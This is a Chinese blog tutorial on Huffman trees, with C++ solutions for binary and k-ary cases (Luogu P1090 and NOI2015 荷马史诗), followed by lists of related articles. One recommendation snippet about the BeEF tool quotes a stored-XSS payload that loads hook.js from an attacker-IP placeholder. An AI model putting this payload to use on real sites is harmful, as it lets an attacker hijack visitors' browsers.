一、关于Huffman树

Huffman树(哈夫曼树)可以解决下述问题:

  • 一颗\(n\)个叶节点的\(k\)叉树,第\(i\)个叶节点的权值为\(w_i\),现在欲求\(\sum w_i\times l_i\)的最小值,其中\(l_i\)表示第\(i\)个叶子节点到根结点的距离。

二、具体实现

为了保证\(\sum w_i\times l_i\)最小,我们应该保证权值越大的叶节点深度越小。可以看出,这是很简单的贪心思想。

特殊地,我们可以先从二叉Huffman树开始研究。二叉Huffman树的实现过程如下:

1.构造一个小根堆,依次插入这\(n\)个节点的权值。

2.从堆内依次取出权值最小的两个节点\(w_1,w_2\),令\(ans+=w_1+w_2\)。

3.把\(w_1+w_2\)作为新的节点\(w_3\),并插入到堆中。此时\(w_3\)为\(w_1,w_2\)的父亲节点。

4.重复上述操作,直到堆的大小等于1。

Huffman树并没有真正的建立一棵树,只是在操作的时候形成一棵树的结构。

下图是二叉Huffman树的具体执行过程:最终ans=33。

for(int i=1;i<n;i++){//n个数,操作(n-1)次
int x=q.top();q.pop();
int y=q.top();q.pop();
q.push(x+y);
ans+=x+y;
}

例1:P1090 合并果子

分析:

因为多多每次合并消耗的体力等于要合并的两堆果子的重量之和,所以最终消耗的体力就是每堆果子的重量\(\times\)合并的次数。这正符合Huffman树能解决的问题类型。

代码如下:

#include<bits/stdc++.h>
using namespace std;
priority_queue<int,vector<int>,greater<int> > q;//小根堆
int a[10010],ans;
int main()
{
int n;
scanf("%d",&n);
for(int i=1;i<=n;i++){
scanf("%d",&a[i]);
q.push(a[i]);
}
while(n!=1){//重复操作直到只剩下一个节点
int x=q.top();q.pop();
int y=q.top();q.pop();
q.push(x+y);
ans+=x+y;
n--;
}
printf("%d",ans);
return 0;
}

现在我们由二叉延伸到k叉Huffman树。此时将每次取出的2个数改为k个数。这时存在一个问题,在最后一次取值时,剩余的节点可能不足以取出k个。显然这样不是最优解,当我们任取Huffman树中一个深度最大的节点,并改为树根的子节点,此时\(\sum w_i \times l_i\)就会更小。

因此只有我们补加一些额外的空节点,并将这些空节点放置在最底层时才能保证贪心算法的正确性。

当\((n-1)mod(k-1)\neq 0\)时,我们还需要补充\((k-1)-(n-1)mod(k-1)\)个节点保证等式\((n-1)mod(k-1)=0\)成立。

例2:P2168 [NOI2015]荷马史诗

分析:

这道题构造的编码方式其实就是Huffman编码,我们把单词出现的次数作为Huffman树的叶节点的权值,然后求出k叉Huffman树即可。

代码如下:

#include<bits/stdc++.h>
#define ll long long
using namespace std;
struct node{
ll h,w;
bool operator <(const node &other)const{
return (w!=other.w)? w>other.w:h>other.h;
}
};
priority_queue<node> q;
int n,k,sum;
ll t,ans;
int main()
{
scanf("%d%d",&n,&k);
for(int i=1;i<=n;i++){
scanf("%lld",&t);
q.push((node){1,t});
}
if((n-1)%(k-1)) sum=(k-1)-(n-1)%(k-1);
for(int i=1;i<=sum;i++) q.push((node){1,0});
sum+=n;
while(sum!=1){
ll partw=0,maxh=0;
for(int i=1;i<=k;i++){
node now=q.top();q.pop();
partw+=now.w;
maxh=max(maxh,now.h);
}
ans+=partw;
q.push((node){maxh+1,partw});
sum-=(k-1);
}
printf("%lld\n%lld",ans,q.top().h-1);
return 0;
}

[算法]Huffman树(哈夫曼树)的更多相关文章

  1. Huffman Tree (哈夫曼树学习)

    WPL 和哈夫曼树 哈夫曼树,又称最优二叉树,是一棵带权值路径长度(WPL,Weighted Path Length of Tree)最短的树,权值较大的节点离根更近. 首先介绍一下什么是 WPL,其 ...

  2. 树-哈夫曼树(Huffman Tree)

    概述 哈夫曼树:树的带权路径长度达到最小. 构造规则 1. 将w1.w2.-,wn看成是有n 棵树的森林(每棵树仅有一个结点): 2. 在森林中选出根结点的权值最小的两棵树进行合并,作为一棵新树的左. ...

  3. 【算法】赫夫曼树(Huffman)的构建和应用(编码、译码)

    参考资料 <算法(java)>                           — — Robert Sedgewick, Kevin Wayne <数据结构>       ...

  4. [C++]哈夫曼树(最优满二叉树) / 哈夫曼编码(贪心算法)

    一 哈夫曼树 1.1 基本概念 算法思想 贪心算法(以局部最优,谋求全局最优) 适用范围 1 [(约束)可行]:它必须满足问题的约束 2 [局部最优]它是当前步骤中所有可行选择中最佳的局部选择 3 [ ...

  5. 经典树与图论(最小生成树、哈夫曼树、最短路径问题---Dijkstra算法)

    参考网址: https://www.jianshu.com/p/cb5af6b5096d 算法导论--最小生成树 最小生成树:在连通网的所有生成树中,所有边的代价和最小的生成树,称为最小生成树. im ...

  6. 哈夫曼树(三)之 Java详解

    前面分别通过C和C++实现了哈夫曼树,本章给出哈夫曼树的java版本. 目录 1. 哈夫曼树的介绍 2. 哈夫曼树的图文解析 3. 哈夫曼树的基本操作 4. 哈夫曼树的完整源码 转载请注明出处:htt ...

  7. 哈夫曼树(二)之 C++详解

    上一章介绍了哈夫曼树的基本概念,并通过C语言实现了哈夫曼树.本章是哈夫曼树的C++实现. 目录 1. 哈夫曼树的介绍 2. 哈夫曼树的图文解析 3. 哈夫曼树的基本操作 4. 哈夫曼树的完整源码 转载 ...

  8. 哈夫曼树(一)之 C语言详解

    本章介绍哈夫曼树.和以往一样,本文会先对哈夫曼树的理论知识进行简单介绍,然后给出C语言的实现.后续再分别给出C++和Java版本的实现:实现的语言虽不同,但是原理如出一辙,选择其中之一进行了解即可.若 ...

  9. 哈夫曼树——c++

    哈夫曼树的介绍 Huffman Tree,中文名是哈夫曼树或霍夫曼树,它是最优二叉树. 定义:给定n个权值作为n个叶子结点,构造一棵二叉树,若树的带权路径长度达到最小,则这棵树被称为哈夫曼树. 这个定 ...

随机推荐

  1. Nginx双机主备(Keepalived实现)

    前言 首先介绍一下Keepalived,它是一个高性能的服务器高可用或热备解决方案,起初是专为LVS负载均衡软件设计的,Keepalived主要来防止服务器单点故障的发生问题,可以通过其与Nginx的 ...

  2. Beef xss神器

    KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...

  3. 图-搜索-DFS-51. N皇后

    2020-03-15 19:49:59 问题描述: n 皇后问题研究的是如何将 n 个皇后放置在 n×n 的棋盘上,并且使皇后彼此之间不能相互攻击. 上图为 8 皇后问题的一种解法. 给定一个整数 n ...

  4. [JVM教程与调优] JVM都有哪些参数类型?

    JDK本身是提供了一些监控工具,有一些是命令行,也有图形界面.本次介绍命令行如何进行监控. 命令行是非常重要的,因为在我们生产环境基本上是没有图形界面的,完全是通过命令行. 主要内容: JVM的参数类 ...

  5. Unity 随机房间地图生成

    无论是在迷宫还是类似于地牢的游戏地图中,利用程序来生成每次都不一样的地图是一件叫人兴奋不已的事. 这时我们需要解决两个非常重要的随机事件: 1.在一定范围内随机出各不相同但又不能互相重叠的房间 2.优 ...

  6. 基于海龟编辑器python少儿编程

    Python 少儿教程 为什么要学习编程 扫地机器人.物流机器人.自动泊车系统.无人超市.3D打印.微信.支付宝等等,随着人工智能时代的到来,越来越多的岗位将被机器人所替代. 所以,学习编程的最终目的 ...

  7. Jmeter接口测试之参数传递(十三)

    在接口自动化测试中,经常会遇到的一种场景就是参数的场景,比如在用户列表中获取所有的用户列表,然后获取到某一个用户的ID,查看该用户的详细信息.首先在这里理清思路,它的流程是,首先获取到数据,然后在Jm ...

  8. 模块 jieba结巴分词库 中文分词

    jieba结巴分词库 jieba(结巴)是一个强大的分词库,完美支持中文分词,本文对其基本用法做一个简要总结. 安装jieba pip install jieba 简单用法 结巴分词分为三种模式:精确 ...

  9. mysql 5.7.18安装教程

    安装之前 确认是否已安装旧版mysql.如有,则卸载(注意需要的数据备份). /etc/init.d/mysqld stop yum remove mysql mysql-* rm -rf /var/ ...

  10. 在 UITextField 中添加删除绑定(绑定删除)

    要解决的问题 在输入框中,需要整体删除诸如 “xxx@xx.com” 或 “@xxxx” 等文本 实现思路 在删除动作时,获取到当前光标的位置,如果在光标正在处在上述文本范围内,就删除一整串文本 如何 ...